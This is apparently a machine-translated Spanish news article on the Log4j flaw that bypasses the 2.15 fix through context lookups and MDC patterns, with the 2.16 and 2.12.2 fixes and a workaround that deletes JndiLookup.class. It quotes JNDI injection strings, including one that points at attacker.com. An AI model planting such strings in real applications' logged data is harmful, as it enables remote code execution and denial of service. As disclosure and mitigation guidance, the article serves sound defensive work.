Para los usuarios de la versión 2.15, la operación se limita a crear condiciones para la terminación anormal de la aplicación por agotamiento de los recursos disponibles.

La vulnerabilidad solo afecta a los sistemas que utilizan la búsqueda de contexto, como ${ctx: loginId}, o plantillas de mapa de contexto de subprocesos (MDC), como% X,% mdc y% MDC, para el registro.

La operación se reduce a la creación de condiciones para enviar datos que contienen sustituciones de JNDI al registro cuando se utilizan consultas de contexto o plantillas MDC en la aplicación, que determinan las reglas para formatear la salida al registro.

Los investigadores de LunaSec señalaron que para las versiones de Log4j inferiores a 2.15, esta vulnerabilidad se puede usar como un nuevo vector para un ataque Log4Shell, lo que lleva a la ejecución del código si las expresiones ThreadContext se usan al enviar al registro, que incluye datos externos, independientemente de si la bandera está encendida para protección. «noMsgFormatLookups» o plantilla «% m {nolookups}».

La omisión de protección se reduce al hecho de que en lugar de la sustitución directa «$ {jndi:ldap://example.com/a}», esta expresión se sustituye por el valor de una variable intermedia utilizada en las reglas para formatear la salida a el registro.

Por ejemplo, si se utiliza la solicitud de contexto $ {ctx:apiversion} cuando se envía al registro, el ataque se puede llevar a cabo sustituyendo los datos «$ {jndi: ldap: //attacker.com/a}» en el valor escrito en la variable de desvío.

En la versión Log4j 2.15, la vulnerabilidad se puede utilizar para realizar ataques DoS al pasar valores a ThreadContext, lo que genera un bucle en el procesamiento del patrón de formato de salida.

Para poder tratar de dar solución a los problemas encontrados se han publicado las actualizaciones 2.16 y 2.12.2 para bloquear la vulnerabilidad. En la rama Log4j 2.16, además de las correcciones implementadas en la versión 2.15 y la vinculación de solicitudes JNDI LDAP a «localhost», por defecto la funcionalidad JNDI está completamente deshabilitada y se ha eliminado el soporte para plantillas de sustitución de mensajes.

Como solución alternativa, se sugiere eliminar la clase JndiLookup de la ruta de clases (por ejemplo, «zip -q -d log4j-core – *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class»).